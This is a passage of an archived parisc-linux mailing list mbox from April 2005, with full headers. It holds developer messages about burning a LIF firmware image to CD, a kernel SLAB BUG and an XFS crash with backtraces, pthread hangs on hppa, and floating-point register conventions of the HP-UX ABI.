	by cyrix.home.bogus (Postfix) with ESMTP id 7FF9030329;
	Sat,  2 Apr 2005 16:10:08 -0800 (PST)
X-Mailer: exmh version 2.7.2 01/07/2005 (debian 1:2.7.2-3) with nmh-1.1
In-reply-to: <913ffb071295fac86a0aade164cf5a27@cox.net> 
Comments: In-reply-to Erik T.Crouch <lennier@cox.net>
	message dated "Sat, 26 Mar 2005 10:25:10 -0600."
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OFE9Ykd4eSE5+76WZHQhaXN2IGRvb8CH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22546


Erik T. Crouch writes...

> Is there ANY way of making the firmware image extractable/writable to a 
> CD, I also do not have a floppy drive.

IIRC you can just burn the firmware lif image directly to a CD and boot it the 
same as you'd dd to a tape or hdd. BTW file(1) knows about lif images, confirm 
that you have a proper lif and then just burn it to CD with cdrecord or 
something.

You mention in a later message "dd it to a virtual disc, then make it a bin 
image which you can translate into an ISO". I suspect that's not changing it 
at all since if you actually changed the lif image it probably wouldn't work 
anymore.

Inevitably someone will ask how to do this on MS Windows. I don't know anyone 
who's done it but if you follow the normal method for burning hppa bootable 
images listed at
  http://www.parisc-linux.org/faq/burn_hppa_cd-howto.html
it should work.

-- 
Matt Taggart
matt@lackof.org


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Sun, 3 Apr 2005 03:34:56 +0200
Organization: ESIEE
Lines: 109
Approved: news@gmane.org
Message-ID: <20050403033456.71a9cafa@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623732 13617 80.91.229.3 (22 Nov 2014 02:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 01:35:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 03 Apr 2005 03:35:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 026087D656;
	Sat,  2 Apr 2005 18:37:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03608-08; Sat, 2 Apr 2005 18:37:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13EF37D657;
	Sat,  2 Apr 2005 18:37:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D8D27D655
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Apr 2005 18:36:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03707-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Apr 2005 18:36:57 -0700 (MST)
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by free.linux.hp.com (Postfix) with ESMTP id 714AB7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Apr 2005 18:36:57 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-2.free.fr (Postfix) with ESMTP id 22C17C003
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 03:35:11 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 3B98933D4E; Sun,  3 Apr 2005 03:35:08 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id C259033D4E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 03:34:59 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DHu0v-0003qh-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 03 Apr 2005 03:34:57 +0200
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on Tatooine.r3z0
X-Spam-Status: No, score=-52.8 required=5.0 tests=ALL_TRUSTED,LOCAL_RCVD 
	autolearn=failed version=3.0.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Dy09YjIneSE5+76WZHQhaXN2IGRvb0DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22547

Hi pa-ckers

tried 2.6.12-rc1-pa9 64bit SMP (gcc 3.3.5) with DEBUG_SLAB enabled, got
the following BUG:
LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
kernel BUG at mm/slab.c:1495!
Backtrace:
 [<0000000010114480>] show_stack+0x60/0xf0
 [<0000000010301f7c>] $$divoI+0x30c/0x460
 [<0000000010107074>] intr_return+0x0/0x24
 [<00000000101df19c>] page_put_link+0x14c/0x258
 [<000000001011daac>] cpu_idle+0x34/0x40
 [<000000001013f548>] activate_task+0x98/0x108
 [<0000000010164ffc>] do_sigaction+0x1e4/0x2b8
 [<00000000101720ec>] kthread+0x144/0x150
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x40
Kernel panic - not syncing: BUG!

Trying one more time was significantly the same (except the second line in
the backtrace):

LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
kernel BUG at mm/slab.c:1495!
Backtrace:
 [<0000000010114480>] show_stack+0x60/0xf0
 [<000000001010ab04>] $$remoI+0x278/0x1414
 [<0000000010107074>] intr_return+0x0/0x24
 [<000000001011daac>] cpu_idle+0x34/0x40
 [<000000001013f548>] activate_task+0x98/0x108
 [<0000000010164ffc>] do_sigaction+0x1e4/0x2b8
 [<00000000101720ec>] kthread+0x144/0x150
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x40

Now the exact same kernel with DEBUG_SLAB disabled:

LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
unwind_init: start = 0x104bfec0, end = 0x104e7e90, entries = 10237
Performance monitoring counters enabled for Duet W+
SGI XFS with large block/inode numbers, no debug enabled
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 20)

Unfortunately things weren't meant to last long:

Checking root file system...
fsck 1.35 (28-Feb-2004)
Backtrace:
 [<000000001027e400>] xfs_alloc_fix_freelist+0x450/0x470
 [<000000001027f060>] xfs_free_extent+0xb8/0x120
 [<000000001028ff6c>] xfs_bmap_finish+0x17c/0x210
 [<00000000102b75e0>] xfs_itruncate_finish+0x188/0x388
 [<00000000102d5b40>] xfs_setattr+0x8d8/0x1068
 [<00000000102e80f4>] linvfs_setattr+0x174/0x228
 [<00000000101eb64c>] notify_change+0x204/0x2b0
 [<00000000101b8e50>] do_truncate+0x80/0x110
 [<00000000101d92a0>] may_open+0x270/0x2d8
 [<00000000101d9424>] open_namei+0x11c/0xc10
 [<00000000101ba1f8>] filp_open+0x48/0x88
 [<00000000101baae0>] sys_open+0x98/0xf0
 [<0000000010107fb4>] syscall_exit+0x0/0x14


Kernel Fault: Code=15 regs=00000000ff71ce90 (Addr=0000000566adeb00)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000466c87700 000000001027e884
0000000566adeb00
r04-07  000000001060d840 000000001027e400 00000000ff0a5738
00000000ff71cce0
r08-11  0000000000000001 0000000000000000 0000000010488a80
0000000000000002
r12-15  00000000ff71c960 0000000000000000 0000000000000001
00000000ff71c950
r16-19  0008000000000001 0000000000000000 0000000000000001
00000000ffe57400
r20-23  0000000000000000 00000000ff1b3b40 0000000000000080
00000000ff2fd200
r24-27  00000000ffe7a000 000000000007e434 00000000ff0a5738
000000001060d840
r28-31  0000000000000000 00000000ff71cf20 00000000ff71ce90
00000000ffd459a8
sr0-3   000000000002a800 0000000000000000 0000000000000000
000000000002a800
sr4-7   0000000000000000 0000000000000000 0000000000000000
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001027e99c
000000001027e9a0
 IIR: 0c601014    ISR: 0000000000000000  IOR: 0000000566adeb00
 CPU:        1   CR30: 00000000ff71c000 CR31: 000000005001c08c
 ORIG_R28: 000000001060d840
 IAOQ[0]: xfs_alloc_read_agf+0x1bc/0x240
 IAOQ[1]: xfs_alloc_read_agf+0x1c0/0x240
 RP(r2): xfs_alloc_read_agf+0xa4/0x240
Kernel panic - not syncing: Kernel Fault

Truth told, it's 3:30 AM and I had a bunch of important things on that
machine, i'd rather not know how badly broken my FS is right now :(

HTH

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 07:32:46 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20050403143246.GE8921@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623732 13619 80.91.229.3 (22 Nov 2014 02:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 14:32:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 03 Apr 2005 16:32:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC8957D659;
	Sun,  3 Apr 2005 08:34:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08144-08; Sun, 3 Apr 2005 08:34:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D7BE7D65A;
	Sun,  3 Apr 2005 08:34:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42E537D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 08:34:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08094-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 08:34:33 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id C0B467D650
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 08:34:33 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 4FC4811227C; Sun,  3 Apr 2005 07:32:46 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y5s9Yg8meSE5+76WZHQhaXN2IGRvb8C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22548

While testing out some stuff today, I ran across a threaded
program that will hang randomly when run. I tried to create a test case
to simulate what the larger program is doing. It also hangs, although
perhaps for different reasons (not sure yet)

The test program is in cvs in the userspace repository. It's called
thread_test2.c. It creates threads one at a time, and uses condition
variables for synchronization. On hppa the program will hang after some
time, and ps shows a lot of zombie processes. On x86 the program runs as
expected and there are no zombies.

I don't know if this is related to some of the hanging problems Dave and
doko have seen sometimes during gcc testing.... but our pthreads
definitely seem to be a bit buggy :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 15:07:32 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200504031907.j33J7Wba018023@hiauly1.hia.nrc.ca>
References: <20050403143246.GE8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623732 13621 80.91.229.3 (22 Nov 2014 02:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 19:07:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 03 Apr 2005 21:07:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AB6D7D663;
	Sun,  3 Apr 2005 13:09:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09694-04; Sun, 3 Apr 2005 13:09:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3DA57D674;
	Sun,  3 Apr 2005 13:09:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 287837D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 13:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09289-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 13:09:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9CBB77D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 13:09:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j33J7XhF018024; Sun, 3 Apr 2005 15:07:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j33J7Wba018023;
	Sun, 3 Apr 2005 15:07:32 -0400 (EDT)
In-Reply-To: <20050403143246.GE8921@tausq.org> from "Randolph Chung" at Apr 3,
	2005 07:32:46 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qVsiYtU8eSE5+76WZHQhaXN2IGRvb8AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22549

> I don't know if this is related to some of the hanging problems Dave and
> doko have seen sometimes during gcc testing.... but our pthreads
> definitely seem to be a bit buggy :(

I was going to add Ada tasking to the list of pthread problems but
I just discovered that Ada hard codes signal numbers for linux and
some of our signal numbers are different from those used on x86.

I believe that our Java testsuite fails are probably pthread related.
I sometimes end up with Java programs that don't die when their
respective test completes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: regtest: which fr to take care of?
Date: Sun, 3 Apr 2005 14:41:09 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200504031841.j33If9CF017871@hiauly1.hia.nrc.ca>
References: <42502F50.5070700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623733 13624 80.91.229.3 (22 Nov 2014 02:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 18:41:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 03 Apr 2005 20:41:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 242C97D661;
	Sun,  3 Apr 2005 12:43:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09335-07; Sun, 3 Apr 2005 12:43:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 957E17D662;
	Sun,  3 Apr 2005 12:43:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32EA87D640
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 12:42:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09289-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 12:42:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A73FF7D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 12:42:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j33If9hF017872; Sun, 3 Apr 2005 14:41:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j33If9CF017871;
	Sun, 3 Apr 2005 14:41:09 -0400 (EDT)
In-Reply-To: <42502F50.5070700@tiscali.be> from "Joel Soete" at Apr 3,
	2005 06:00:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jF0iYnMReSE5+76WZHQhaXN2IGRvb0DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22550

> Is those comments in our entry.S:
> ...
>          /* Floating point registers (FIXME: what do we do with these?)
> 
>             %fr0  - %fr3    status/exception, not preserved
>             %fr4  - %fr7    arguments
>             %fr8  - %fr11   not preserved by C code
>             %fr12 - %fr21   preserved by C code
>             %fr22 - %fr31   not preserved by C code
>           */
> ...
> 
> Are still uptodate?

Yes, these are from the HP-UX ABI.

> what 'preserved by C code' would mean?

The register remains unchanged across a call.  Call used registers
don't have to be preserved.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 16:41:51 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
References: <20050403143246.GE8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623733 13626 80.91.229.3 (22 Nov 2014 02:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
